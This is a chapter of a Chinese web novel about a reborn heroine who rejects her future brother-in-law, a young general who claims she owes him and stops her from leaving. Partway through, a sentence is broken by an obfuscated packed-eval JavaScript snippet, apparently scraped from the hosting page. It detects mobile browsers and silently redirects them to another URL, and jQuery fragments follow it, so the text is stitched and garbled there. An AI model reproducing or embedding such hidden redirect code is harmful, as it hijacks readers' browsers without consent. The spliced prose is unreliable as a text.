17. 第 17 章
作品:《嫂嫂,别来无恙》 夏知薇被他骤然变化的脸色慑到,但她神经重重跳了两下。
什么叫别的女人?
她银牙都要咬碎,搞得好似她是什么负心汉与他有过什么私情般。
……
起码今生没有。
孤男寡女,叔嫂私下独处,伦常背德。
这个认知让她的大脑无比清醒。
画地为牢的折扇已被拿走,夏知薇偷偷地越过了那道防线。
仲夏的夜晚,蝉鸣萤火相绕,清凉的银光洒落,虽是万家灯火将歇之时,万物却看的异常清楚。
夏知薇就看到厉藏冬咬牙强压怒火,颊肌绷紧,脸上显出几道冷硬的线条。
“嫂嫂担心我没女人?”男人神态危险,“那你可知我想要什么样的?”
夏知薇迟疑了一下,印象里厉藏冬好似并未对任何人有过不同,她后知后觉发现,自己似乎并不了解厉藏冬。
她这般反应,在厉藏冬眼中却是另一种意味。
“莫不是嫂嫂认为,什么猫狗都能入得我的眼。”
是了,厉藏冬多么骄傲的一个人,自是不会轻易对什么人上心。
她点点头,“我知道了,此事是我不对,你的婚娶之人应当是你心悦之人,自是千好万好的,是我逾距了。”
她认错。
厉藏冬突然笑了,“你知道你现在的样子像什么吗?”他声音蛊惑,似是深藏地底的百年佳酿,招人发醉。
“像觅得新婿,极力和情郎划清界限的薄情娘子。”
“你!”夏知薇眉心狠狠拧起,若说之前还只是擦着边试探,这句话就是赤裸裸的调戏。
四下无人,她深吸了口气,“你若执意如此,那我今日便也同你开门见山。”
有些话她不得不说了。
“首先,我已与你的兄长行了纳吉之礼,择日便会完婚,这点你可清楚?”
厉藏冬神态轻松,点头道:“知道。”
夏知薇额角爆起青筋,“那你可知你我二人既为叔嫂,你的言辞行径便不该如此孟浪轻浮,有违伦常,你可对得起你大哥?”
“轻浮……”厉藏冬细品这二字,“不知嫂嫂所指何事?是那日棠悦楼嫂嫂投怀送抱,还是后花园解围之时你我肌肤相授,亦或是今夜花前月下……”
“住口!”越说越吓人,夏知薇急急打断他,压着声音怒道:“有你这么胡说八道的吗?”她竟不知厉藏冬本色竟是个登徒子。
她心虚地环顾四下。
什么投怀送抱,肌肤相授,让不明所以的人听了她的清白就别要了。
厉藏冬抱胸,“我帮了你这么多次大忙,嫂嫂这是打算翻脸不认?那你说,哪句作假?”
夏知薇语塞。
事情是真,但是让他那么一形容味道就变了十万八千里。
她没好气道:“我不想与你争辩这些,总而言之,请你和我保持距离!日后分家,我们也不必再见。”
厉藏冬笑容还在脸上,只是眼底温度逐渐褪去,“我若说不呢?”
夏知薇不理解,“为什么?”
她不愿去想厉藏冬到底何意。
他们只有幼时半面之缘,这个时候厉藏冬不该对她生出旁的心思,一切都太过诡异。
“你到底想做什么?”
青袍之下,男人骨节分明的手指微微收拢,想要什么吗,他面色如玉,但唇边总带着股漫不经心的阴寒。
“同你来此处一样,自是有所图。”
夏知薇心下一动,问道:“是……什么?”
厉藏冬抬眼,漆黑的瞳仁中锁着一素色衣袂的倩影,那身影像一抹寻不到出口的幽魂被困在那方寸之间,无所遁形。
他道:“有只不听话的跳猫子趁我出门时逃了,我来捉她回去。”
夏知薇只当他说笑,“这里怎么会有跳猫子,你是说它从国公府逃了十里到此处,此刻恰好在这凤凰林?”
厉藏冬不置可否。
夏知薇不想跟他扯这些没有营养的话,自顾自结论道:“你不愿说也罢,总之日后相见,就当不曾相识。”
她退后一步,郑重其事地行了个礼,“感谢少将军几番搭救,夏知薇感激不尽。我会叫府上准备谢礼不日送至将军住处。你我就此别过,往后便互不相欠。”
不知哪个字眼拨动了厉藏冬的神经,夏知薇手腕一痛,右手被高高举起。
男人所用力道不小,她极力站稳才没扑进对方怀中。
“你想互不相欠?”厉藏冬冷厉的声音响起,夏知薇耳朵一痒,只听男人冷哼道:“夏知薇,你欠我的,想走没那么容易。”
夏知薇用力挣扎,但那点力道在绝对的实力面前根本不够看。
“你放手!”她有些吃痛,“诗会下半场要开始了!你这人讲不讲理!”
厉藏冬看着她挣扎,高大的身形一动不动。
几番无果后,夏知薇气恼道:“你若看不上我准备的东西,那你说,你想要什么,只要是我能力范围内能给的,我一定尽力去寻。”
突然,她福至心灵,“你不是在找跳猫子吗?你放开我,我帮你找!”
厉藏冬垂眼,略低头,看着她:
“不必,已经找到了。”
夏知薇瞳孔扩张,一股掠夺感铺天盖地的席卷全身,让她脊背升起股股痹麻。
“你放手!”本能让她再次挣扎起来,也顾不上说什么旁的,她感受到了危险,现在只想马上离开这里。
离开这个人身边。
“你不是猜到了吗?”厉藏冬自然不会放过她,步步紧逼。
夏知薇瑟缩着,身子上半身尽力拉开,“我听不懂你在说什么。”
“呵。”厉藏冬逼近,“听不懂,那我说给你听。”
夏知薇挣扎得更剧烈,摇头道:“不要!你不准说,我不听!”
厉藏冬自然不会听她的。
“嫂嫂,我要的——是你。”
真正从厉藏冬口中说出这句话,夏知薇眼前一黑,“你疯了?”
“不是你问我要什么吗?你说你能给。”
“嫂嫂,你欠我的。”
夏知薇,你欠我的。
恍神间,眼前人和前世持剑踏破家门满面血痕的他重合,夏知薇想起临死前她不甘地盯着门外等待这个人能出现,见他最后一面。
可是一切都过去了。
夏知薇双目赤红,浑身都在微微发抖,她脱了力气,仍由对方桎梏。
可人在手中,厉藏冬却感觉人好似离他更远。
这句话就像一道诅咒。
夏知薇脸上没了情绪,声音淡淡道:“厉藏冬,我不欠你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347105|199068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
以命相换,从她死去那时起,她就还清了。
厉藏冬心脏忽的一刺,手上卸了力道。
夏知薇感受到了。
这回她没有再躲避,直直迎上厉藏冬携带逼迫感的视线,“谢礼我会如约送到,收与不收那是你的事。我要回去了。”
在对方复杂的神色中,夏知薇轻松便抽回了手。
只是没走多远,她忽的听到身后传来一声闷哼。
夏知薇没理,加快步子。
谁料,紧接着“扑通”一响,重物砸在地上的声响响起。
确保已经走远,能和那人保持安全距离后,她才停下步子朝来时方向看去。
只见厉藏冬捂着胸口,似是忍着极大地痛苦单膝跪在地上,垂头看不清神情,但托在地上的那只手青筋爆起,手掌深陷在泥沙中。
夏知薇冷脸想,这人又想玩什么花样?
风中传来的林木香气中夹杂着淡淡的血腥,她倏而想起,前世厉藏冬于此时确实有一场伏击,受了不算小的伤。
不过,与她何干。
死不了,她想。
遂不再流连,头也不回地离去。
几乎是她迈腿的同时,几道黑影悄无声息地封锁了她的去路。夏知薇心惊肉跳地被围在中央,持藏军中一人手中暗器发出幽冷的锋芒,对她冷硬道:
“回去。”
“主子没允许你走,你不得离开。”
夏知薇:“……”
见她不动,赤藏军缓缓朝她逼近,直到把她引至厉藏冬身前半寸。
夏知薇:“……”
夏知薇站立在原处,厉藏冬单膝跪地,这个姿势让众下属怎么看怎么难受。他们战无不胜的主子此时竟像俘虏般蛰伏在女子脚边。
夏知薇看着厉藏冬的头顶,深呼吸也无法缓解她的怒气。
装什么?
这次伏击他分明是五脏肺腑受损,在鏖战之时中了淬过毒的剑伤所致。
“你是在演暗疾发作吗?”她恨不得踢厉藏冬一脚,“你是说,三个月前的止戈之战你胸口所受的伤,在全上京最好的医师的救治下,现在还没好?”
“别演了!起来!”
蓦地,夏知薇听到了压抑的笑声。
声量从小至大,越发放肆,透着股疯感。
她皱眉看厉藏冬,“你笑什么?”
“止戈之战!”厉藏冬撑着地面,身体好似真有负伤般缓缓起身,眼神危险,隐忍着什么但此时却在夜色下亮的惊人。
他喘了口气重复道:“你说三月之前,我这伤是受于那场止戈之战?”
夏知薇感觉莫名其妙,没好气道:“没错!”
她故意阴阳,“谁不知少将军此战在沙场上勇冠三军,此番大捷,不仅收复失地,还护得四方安宁!”
“圣上念少将军英勇,特赦民间三日休沐。”这些事迹,怕是街边三岁稚童都咏讼得滚瓜烂熟了吧。
“呵。”厉藏冬唇角的笑容越扯越大,神情透着股诡谲。
果然是她。
是他的妾。
不是夏家二小姐,他未过门的嫂嫂。
“止戈之战,确有其事。”厉藏冬道:
“不过……薇儿,那挞拔首领的首级被我提前拿下,这场战役此生并未发生。”

